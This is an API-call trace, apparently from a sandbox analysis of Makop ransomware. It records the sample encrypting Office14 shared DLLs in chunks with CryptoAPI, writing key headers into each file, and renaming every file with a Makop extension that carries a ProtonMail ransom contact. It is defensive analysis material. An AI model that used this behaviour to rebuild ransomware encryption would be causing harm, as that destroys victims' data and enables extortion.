[0093.677] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xb7bb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xb7bb0, lpOverlapped=0x0) returned 1 [0093.683] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.683] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb7c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.683] SetEndOfFile (hFile=0xf0) returned 1 [0093.694] GetProcessHeap () returned 0x48a0000 [0093.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0093.694] GetProcessHeap () returned 0x48a0000 [0093.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.694] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0093.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.696] CloseHandle (hObject=0xf0) returned 1 [0093.696] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0093.696] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL") returned 66 [0093.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0093.697] GetProcessHeap () returned 0x48a0000 [0093.697] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.697] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0093.697] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.697] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.697] GetProcessHeap () returned 0x48a0000 [0093.697] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.698] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0093.698] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.698] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0093.702] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0093.703] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0093.703] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0093.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0093.703] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0093.703] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0093.703] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.703] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.704] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3fb90, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3fb90, lpOverlapped=0x0) returned 1 [0093.709] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3fb90, dwBufLen=0x3fb90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3fb90) returned 1 [0093.712] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.712] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3fb90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3fb90, lpOverlapped=0x0) returned 1 [0093.714] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.714] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3fc54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.715] SetEndOfFile (hFile=0xf0) returned 1 [0093.723] GetProcessHeap () returned 0x48a0000 [0093.723] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.723] GetProcessHeap () returned 0x48a0000 [0093.723] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.723] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0093.724] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.725] CloseHandle (hObject=0xf0) returned 1 [0093.725] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0093.725] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL") returned 66 [0093.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0093.727] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=3943312) returned 1 [0093.727] GetProcessHeap () returned 0x48a0000 [0093.728] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.728] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.728] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0093.728] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.728] GetProcessHeap () returned 0x48a0000 [0093.728] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0093.728] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30) returned 1 [0093.728] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.728] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa4*=0x30, lpOverlapped=0x0) returned 1 [0093.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0093.733] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0093.733] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0093.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0093.733] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0093.733] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0093.733] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.733] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0093.733] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0093.746] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0093.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.749] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0093.751] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c2c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.751] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0093.752] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x140e85, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0093.752] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0093.763] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0093.766] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x140e85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.766] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0093.768] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c2c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.768] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0093.768] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x382b90, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0093.769] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0093.776] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0093.779] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x382b90, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.779] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0093.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c2c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.781] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0093.781] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.781] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c2c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.781] SetEndOfFile (hFile=0xf0) returned 1 [0093.789] GetProcessHeap () returned 0x48a0000 [0093.789] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0093.789] GetProcessHeap () returned 0x48a0000 [0093.789] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0093.789] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0093.789] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0093.791] CloseHandle (hObject=0xf0) returned 1 [0093.791] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0093.791] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL") returned 68 [0093.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0093.792] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=1870696) returned 1 [0093.792] GetProcessHeap () returned 0x48a0000 [0093.792] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0093.792] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0093.792] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.793] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0093.797] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0093.797] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.797] GetProcessHeap () returned 0x48a0000 [0093.798] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0093.798] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a88*=0x40) returned 1 [0093.798] CryptDestroyKey (hKey=0x48c7128) returned 1 [0093.798] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa4*=0x40, lpOverlapped=0x0) returned 1 [0093.798] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0093.798] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0093.798] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0093.798] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0093.799] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0093.799] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0093.799] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0093.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0093.799] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0093.813] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0093.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.817] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0093.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c8c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.819] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0093.819] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x983cd, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0093.819] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0093.830] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0093.833] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x983cd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.833] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0093.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1c8c44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.835] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0093.835] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x188b70, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0093.835] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0093.842] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0093.846] SetFilePointerEx (in: hFile=0xf0, 